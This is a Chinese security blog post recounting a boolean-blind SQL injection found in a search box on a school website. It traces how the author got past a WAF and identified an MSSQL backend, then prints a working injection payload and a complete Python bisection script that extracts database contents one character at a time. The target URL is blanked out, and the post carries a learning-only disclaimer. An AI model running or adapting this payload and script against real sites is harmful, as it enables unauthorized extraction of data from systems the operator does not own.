实战 | SQL注入-BOOL盲注-一个小细节

Posted 2021-05-03 F12sec

前言

“

申明：本次测试只作为学习用处，请勿未授权进行渗透测试，切勿用于其它用途！

”

挖掘过程

“

不会用工具的我，只能慢慢手动测试。

测试某中学发现的一个容易被忽略的注入点

一如既往的在输入框搜索，得到的结果蛮多

注入怎么能不试试单引号呢，于是测试单引号，没有报错，没有关系

闭合测试，鱼鱼鱼，回显不一样了，小细节

于是继续尝试发现 select 不加参数不会被ban加参数就被ban，有waf

那就单独用，测试发现是mssql数据库，

因为ban了 waitfor delay

又经过手工测试发现一些没被ban的函数

之所以喜欢这么用是为了写二分法脚本做准备，

手动测试出了数据库名称第一个字符

于是开始编写脚本 payload…

经过测试与atao师傅交流

才得出一个运行正常的payload

1')and (ascii(substring(({content}),{i},1))-{mid})<1--+

完整playload如下

# -*- coding:utf-8 -*-import requestsurl = "ip:/???Text="def main(): result = "" for i in range(1, 200): low = 31 high = 128 while low < high: mid = int((low + high) / 2) content = "@@version" sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+" payload = url+sql response = requests.get(url=payload) if "共18条数据" in response.text: high = mid else: low = mid + 1 print("[+] After changing we got {} to {}".format(low, high)) if low == high == 128 or low == high == 31: print("[*] Result is: {}".format(result)) break print("[+] Now has {}".format(i)) result += chr(int((high + low) / 2)) print("[*] Result now is: {}".format(result))if __name__ == '__main__': main()

”

如果对你有帮助的话
那就长按二维码，关注我们吧！

  

 

   

右下角求赞求好看，喵~